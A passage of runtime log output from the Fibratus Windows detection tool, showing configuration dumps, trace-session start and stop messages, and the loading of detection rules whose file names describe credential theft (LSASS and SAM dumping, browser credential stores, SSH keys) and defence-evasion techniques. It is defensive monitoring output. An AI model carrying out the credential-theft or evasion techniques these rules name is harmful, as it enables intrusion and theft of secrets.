msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T14:59:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T14:59:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T14:59:34+01:00 level=info msg=bootstrapping with pid 16984. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T14:59:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-vamap=>true enable-net=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-dns=>false enable-registry=>true enable-image=>true flush-interval=>1s enable-threadpool=>false min-buffers=>16 enable-handle=>false enable-thread=>true buffer-size=>512 enable-mem=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 log-stdout=>true max-age=>0 level=>info max-size=>100] + output ......................... [ http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] enable-gzip=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus passive=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ durable=>false delivery-mode=>transient exchange-type=>topic routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ sniff=>false bulk-workers=>1 trace-log=>false enabled=>false healthcheck-interval=>10s flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus gzip-compression=>false index-name=>fibratus timeout=>5s healthcheck-timeout=>5s]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false skip-allocs=>false fastscan=>true skip-mmaps=>false scan-timeout=>10s excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T14:59:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T14:59:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:00:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T15:00:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:00:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:00:54+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-12T15:00:54+01:00 level=info msg=bootstrapping with pid 16268. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T15:00:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-fileio=>true enable-audit-api=>true flush-interval=>1s max-buffers=>36 min-buffers=>16 enable-vamap=>true buffer-size=>512 enable-image=>true enable-net=>true enable-handle=>false enable-registry=>true stack-enrichment=>true enable-thread=>true enable-dns=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true max-size=>100 max-age=>0 level=>info] + output ......................... [ amqp=>[ durable=>false delivery-mode=>transient routing-key=>fibratus timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false passive=>false exchange-type=>topic vhost=>/ enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ bulk-workers=>1 flush-period=>1s enabled=>false index-name=>fibratus gzip-compression=>false trace-log=>false template-name=>fibratus sniff=>false healthcheck-interval=>10s healthcheck=>true healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200]] http=>[ timeout=>5s serializer=>json method=>POST enable-gzip=>false endpoints=>[] enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] excluded-procs=>[] skip-mmaps=>false skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-12T15:00:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:00:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:19:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T15:19:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:19:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:26:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:26:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:27:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:29:07+01:00 level=info msg=loading rule from 